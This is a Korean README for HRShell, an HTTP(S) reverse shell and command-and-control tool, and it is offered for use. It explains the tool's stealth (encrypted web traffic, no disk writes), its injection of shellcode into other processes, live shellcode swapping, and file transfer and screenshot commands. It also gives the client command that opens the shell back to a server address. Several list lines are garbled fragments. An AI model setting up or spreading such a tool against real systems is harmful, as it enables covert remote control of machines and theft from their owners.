
HRShell은 flask로 구축된 HTTPS/HTTP 리버스 셸입니다. 다양한 기능과 역량을 갖춘 고급 C2 서버입니다.
__HRShell__은 Flask로 구축된 HTTPS/HTTP 리버스 셸이며 __python 3.x__와 호환됩니다. client.py는 다음에서 성공적으로 테스트되었습니다:
server.py는 Unix 시스템과 호환됩니다 (Windows 지원은 곧 제공 예정...).
migrate <PID>)
cd 명령어 및 변형).history 명령어.download/upload/screenshot/hex 명령어 사용 가능.|) 및 체인 명령어(;) 지원gunicorn 및 Nginx)와도 호환 가능.*버전 변경 사항은 CHANGELOG를 확인하세요.
HRShell은 클라이언트와 서버 간 통신 방법으로 HTTP(S) 프로토콜을 사용하므로 은밀합니다. 또한 TLS를 사용할 때 트래픽이 암호화됩니다. 클라이언트 측에 CERT가 하드코딩되지 않은 경우(이는 가능한 옵션임) upload 명령어를 사용하지 않으면 client.py는 디스크에 전혀 접촉하지 않습니다.
서버 측:
--http 옵션이 지정되지 않은 경우, 기본적으로 server.py는 즉석 인증서를 사용하는 HTTPS입니다. 즉석 인증서는 Flask 내장 기능이기 때문입니다. 하지만 -s tornado 옵션이 지정되어 서버가 TLS를 사용하도록 하려면 --cert 및 --key 옵션을 다음과 같이 지정해야 합니다:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
"진짜" 인증서를 사용하거나, 인증서/키 쌍을 생성하는 다른 방법으로는 예를 들어 mkcert를 사용하거나 openssl을 직접 사용하는 방법이 있습니다:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Flask 서버에서도 인증서/키 쌍을 사용할 수 있습니다:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ 서버가 TLS를 사용하는 경우, 설계상 클라이언트는
http://...를 사용하여 서버에 연결할 수 없으며 반드시https를 명시적으로 사용해야 합니다.
클라이언트 측: 기본적으로 클라이언트의 SSL _확인_은 비활성화되어 있습니다. 단, 다음 경우는 예외입니다:
--cert 매개변수가 지정된 경우, 예:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
None 대신 CERT 변수에 유효한 인증서가 미리 설정된 경우, 예:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
client.py는 즉석에서 숨겨진 .cert.pem 파일을 생성하려고 시도하고 이를 대신 사용합니다.⚠️ 클라이언트에서 SSL 확인이 기본적으로 비활성화되어 있다고 해서 TLS도 비활성화된다는 의미는 절대 아닙니다. 서버에서 TLS를 사용하면 TLS가 활성화됩니다 - 따라서 TLS는 전적으로 서버에 달려 있습니다. 클라이언트의
--cert옵션은 단지 서버-클라이언트가 암호화된 세션을 가질 수 있는 대안적인 방법일 뿐입니다.
다음 두 명령어를 각각 사용하여 셸코드 인젝션의 두 가지 "모드"가 있습니다:
migrate <PID>: 이 명령어를 사용하면 PID를 지정하여 다른 프로세스의 메모리 공간에 셸코드를 주입할 수 있습니다. 현재 이 명령어는 Windows x86/x64 플랫폼에서만 적용 가능합니다!
inject shellcode: 이 명령어를 사용하면 현재 프로세스의 새 스레드(또는 Unix 시스템에서는 생성된 프로세스)를 만들고 해당 메모리 공간에 셸코드 인젝션이 발생합니다. 결과적으로 HTTP(S) 셸은 인젝션의 영향을 받지 않습니다. 이 명령어를 적용할 수 있는 플랫폼은: Unix x86/x64, Windows x86 플랫폼입니다!
클라이언트가 실행할 셸코드 유형을 지정/설정하는 두 가지 방법이 있습니다:
client.py 스크립트에서 shellcode 변수를 유효한 셸코드로 미리 설정하거나set shellcode <shellcode-id> 명령어를 사용하여 실시간으로 설정합니다. 이 명령어를 사용하면 서버 측에서 클라이언트 측의 셸코드를 원하는 만큼 업데이트할 수 있습니다!
첫 번째 방법은 매우 간단합니다. 그러나 두 번째 더 편리한 방법(이미 지정된 셸코드를 수정할 수도 있음)을 사용하려면 shellcodes/utils.py 스크립트에 원하는 셸코드가 포함되도록 설정해야 합니다. 이 스크립트에는 이를 수행하는 방법의 예제가 포함되어 있습니다.
💡
server.py를 실행한 후에도shellcodes/utils.py스크립트를 원하는 만큼 수정/업데이트할 수 있습니다.server.py는 동적으로 가장 최근 버전을 사용하기 때문입니다. 이렇게 하면 이동 중에도 셸코드를 설정하고 수정할 수 있습니다.
특수 명령어:
다른 명령어는 _예: gdb, top 등_과 같이 대화형이 아닌 경우 모두 지원됩니다. 또한 python server.py -h 또는 python client.py -h를 입력하면 서버 및 클라이언트에서 사용 가능한 인수에 대한 정보를 얻을 수 있습니다.
참고: 클라이언트가 서버에 연결되어 있는 상태에서 서버를 종료하려면 CTRL+C를 누르기 전에 exit 명령어를 사용하여 연결을 닫아야 합니다.
클라이언트 측:
사용자 정의 명령어를 생성하려면 일반적으로:
elif 문으로 추가해야 함서버 측:
명령어가 서버 측에 새 엔드포인트가 필요하다면:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
필요한 경우 문서화
"""
...
return ...
handleGET()을 수정하여 클라이언트를 해당 엔드포인트로 리디렉션:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST()를 적절히 수정하여 결과 표시를 처리합니다.두 스크립트(server.py 및 client.py)는 인수를 통해 사용자 지정할 수 있습니다:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: 고급 기능을 갖춘 HTTP(S) 리버스 셸 서버.
인수:
-h, --help 도움말 메시지를 표시하고 종료
-s , --server 사용할 HTTP(S) 서버 지정 (기본값: flask).
-c , --client 지정된 클라이언트/IP에서만 연결 수락.
--host 사용할 IP 지정 (기본값: 0.0.0.0).
-p , --port 사용할 포트 지정 (기본값: 5000).
--http TLS 비활성화 및 HTTP 사용.
--cert 사용할 인증서 지정 (기본값: None).
--key 사용할 해당 개인 키 지정 (기본값: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: 고급 기능을 갖춘 HTTP(S) 클라이언트.
인수:
-h, --help 도움말 메시지를 표시하고 종료
-s , --server 연결할 HTTP(S) 서버 지정.
-c , --cert 사용할 인증서 지정.
-p , --proxy 사용할 프록시 지정 [형식: host:port]
서버 요구 사항을 설치하려면:
pip install -r requirements.txt --upgrade --user
피드백과 기여를 환영합니다. 버그를 발견하거나 기능 요청이 있으면 이슈를 열어 주시면 검토 후 수정하도록 하겠습니다.
이 도구는 테스트 및 학술 목적으로만 사용되며 엄격한 동의가 있는 경우에만 사용할 수 있습니다. 불법적인 목적으로 사용하지 마십시오! 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 이 도구 및 소프트웨어로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.
hexdump 함수는 이 훌륭한 gist에서 가져왔습니다.이 프로젝트는 GPLv3 라이선스 하에 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
server.py와 client.py 모두 쉽게 확장 가능.